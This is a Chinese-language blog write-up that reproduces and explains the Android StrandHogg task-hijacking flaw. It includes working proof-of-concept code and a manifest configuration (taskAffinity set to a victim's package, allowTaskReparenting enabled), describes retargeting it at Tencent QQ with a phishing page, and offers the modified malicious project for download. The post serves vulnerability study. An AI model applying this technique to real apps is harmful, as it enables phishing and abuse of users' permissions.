本文寫於2020年初,於2021年由CSDN遷移博客至此.
0x00 StrandHogg漏洞詳情
StrandHogg漏洞
CVE編號:至本文編寫完畢時仍暫無編號
[漏洞危害]
近日,Android平台上發現了一個高危漏洞
該漏洞允許攻擊者冒充任意合法應用,誘導受害者授予惡意應用權限
或者進行惡意釣魚攻擊
由於該漏洞允許惡意軟件劫持合法應用的活動,並將自身惡意活動插入在合法活動之前
使得用戶並沒有意識到自己已經遭到攻擊
[漏洞影響Android版本]
至2020年1月26日,經過測試,該漏洞影響Android全版本,包括目前最新的Android10
[漏洞利用條件]
幾乎無條件即可利用此漏洞,即使在無Root機型上利用此漏洞也輕而易舉
目前已發現36個應用惡意利用該漏洞進行攻擊
0x01 漏洞復現
接下來我將新建一個完全合法的項目和一個攻擊此合法App的惡意項目
並且讓惡意軟件劫持合法App,使惡意活動插入到合法活動之前,實現攻擊目的
編譯一個合法空項目並安裝在手機上
項目命名為BeAttacked
包名:com.victim.app
其UI只有一個TextView控件,並且顯示Hello World這段字符
該空項目假設為攻擊者欲攻擊的合法App
接下來新建一個利用此漏洞的惡意軟件項目,命名為Attack
布局代碼
activity_main.xml
<linearlayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity">
<textview android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Innocent">
</textview></linearlayout>
如上述布局代碼所示,該布局將只顯示Innocent這段字符
新建一個布局,並且假設這個新建的布局為惡意活動顯示的布局
attack.xml
<linearlayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity">
<textview android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Attack Success!">
</textview></linearlayout>
同理,該布局將只顯示 Attack Success! 這段字符
接下來新建Innocent類和Attack類,兩個類分別顯示activity_main和attack這兩個布局
我們假設Attack這個類為惡意活動,我不想讓用戶在啟動惡意軟件時看到惡意活動而懷疑軟件的真實意圖
我想讓用戶在啟動軟件時只看到無害的活動,從而隱藏軟件的真實意圖,那么要如何實現呢
我可以預先啟動Attack類,緊接着啟動Innocent類,這樣用戶在頁面上只能看見最頂層的Innocent類,而不是惡意活動
MainActivity類
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
//setContentView(R.layout.activity_main);
Intent innocent,attack;
attack=new Intent(this,Attack.class);
attack.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);//將attack活動放置在一個新task中
attack.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);//取消過度動畫,增加惡意軟件迷惑性
innocent=new Intent(this,Innocent.class);
innocent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivities(new Intent[]{attack,innocent});//先后啟動attack活動與innocent活動
finish();
}
}
接下來分析代碼
我讓程序創建了成員變量分別為innocent,attack的兩個Intent對象
attack和innocent都帶上了FLAG_ACTIVITY_NEW_TASK這個Flag
帶上該Flag的Intent創建的活動都會在各自的任務棧中,互不影響
其中attack還帶有FLAG_ACTIVITY_NO_ANIMATION這個flag
帶有該Flag的Intent創建的活動將不顯示過度動畫
接着我調用了startActivities方法先后啟動attack和innocent這兩個活動
注意,Innocent這個活動在Attack啟動之后才被啟動,在活動先后順序上,Innocent在最頂層
所以用戶最終看到的活動只有Innocent這個無害活動
而Attack啟動時取消了過度動畫,除了個別機型會有稍微閃動外,在啟動時無明顯變化,從而增加了惡意軟件迷惑性
代碼已經編寫完畢,還有一個問題,攻擊者要怎么利用漏洞使得惡意活動插入在合法活動之前呢?
在AndroidManifest.xml中編輯代碼
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN">
<category android:name="android.intent.category.LAUNCHER">
</category></action></intent-filter>
</activity>
<activity android:name=".Innocent">
<activity android:name=".Attack" android:taskaffinity="com.victim.app" android:allowtaskreparenting="true">
<!--
其中欲插入到合法活動前的惡意活動的taskAffinity屬性就是欲攻擊應用的包名
allowTaskReparenting屬性為true
-->
代碼中,惡意活動的taskAffinity屬性就是欲攻擊應用的包名
allowTaskReparenting屬性為true,這兩個屬性設置完成后就能使得惡意活動插入到合法活動前了,
為什么這么設置?這就涉及到任務相似性和是否允許活動轉移的問題了,這個后面講,先復現漏洞
編譯惡意軟件,先打開惡意軟件,使得惡意活動在后台就緒,接着再打開欲攻擊的合法app
可以發現合法活動已經被惡意活動替代了!
接下來看復現漏洞的GIF圖

漏洞成功復現!
0x02 漏洞原理分析
此漏洞利用涉及到任務棧問題,稍微復雜,所以我畫了一張圖來闡述為什么惡意活動可以插入到合法活動前
在分析之前請先讀圖,幫助理解
讀完圖首先就是要理解allowTaskReparenting這個屬性的作用是什么
官方文檔如下:https://developer.android.com/guide/topics/manifest/activity-element.html#reparent
官方文檔的解釋:當下一次將啟動 Activity 的任務轉至前台時,Activity 是否能從該任務轉移至與其有相似性的任務 —“true”表示可以轉移,“false”表示仍須留在啟動它的任務處。(其中的相似性后面再講,暫且理解成同一個任務棧)
我對官方文檔的理解:
假設存在一個任務棧,將此任務棧命名為Task_1
Task_1中存放着兩個Activity,分別是Activity_1和Activity_2,並且這個任務棧中的兩個活動均在后台運行,用戶不可見
假設Activity_1的allowTaskReparenting屬性為true
Activity_2的allowTaskReparenting屬性為默認值false
當用戶 啟動Activity_2時,任務棧Task_1也就隨着Activity_2到達前台
但Activity_1的allowTaskReparenting屬性為true,根據官方文檔的解釋,該活動能從后台轉移至與其有相似性的任務,也就是同樣轉移至Task_1,
而此時Task_1已經在前台了,相當於Activity_1在Activity_2啟動之后也啟動了,從而到達了最頂層,而用戶最終看到的活動也就是Activity_1了
理解完allowTaskReparenting屬性之后.就要解釋taskAffinity屬性了
taskAffinity直接翻譯過來就是任務相關性,
官方文檔對該屬性的解釋為:
從概念上講,具有同一相似性的 Activity 歸屬同一任務(從用戶的角度來看,則是歸屬同一“應用”)。任務的相似性由其根 Activity 的相似性確定。
而確定應用相似性的屬性就是taskAffinity
首先要知道,若應用沒有特別定義taskAffinity的內容的話
則該應用中每個活動的taskAffinity屬性的默認內容就是應用包名,所以在沒有特別定義taskAffinity的應用中,每個活動均在同一個任務棧中
重新查看惡意活動的清單文件代碼
<activity android:name=".Attack" android:taskaffinity="com.victim.app" android:allowtaskreparenting="true">
而要實現將惡意活動插入到合法活動之前,首先就需要惡意活動在合法活動的任務棧中
需要注意的是任務棧可以放置使用相同的taskAffinity的Activity,即使是跨程序也可以共享同一個任務棧
這就可以解釋為什么需要惡意活動的taskAffinity屬性為欲攻擊應用的包名,這樣就能讓惡意活動與合法活動存在於同一任務棧中了
接着使惡意活動的allowTaskReparenting屬性為true,這樣就能在合法應用中的活動轉至前台時,使得惡意活動同樣轉至前台
至此,整個攻擊流程結束
0x03 漏洞利用及其危害
在0x01中,我已經完成了漏洞復現
為了展現出該漏洞的具體危害,我對復現過程中的Attack類及其布局進行了修改
將Attack類的taskAffinity屬性改為騰訊QQ的包名,編譯並安裝

可以看到我將惡意活動的布局修改為釣魚頁面,真正展現出這個漏洞的危害性
攻擊者不僅可以利用該漏洞精心設計一個頁面來進行釣魚攻擊,也可以利用該漏洞誘導用戶授予惡意軟件相應權限進行惡意攻擊
最后放出我修改過的惡意軟件項目:
StrandHogg.zip 提取碼: hci6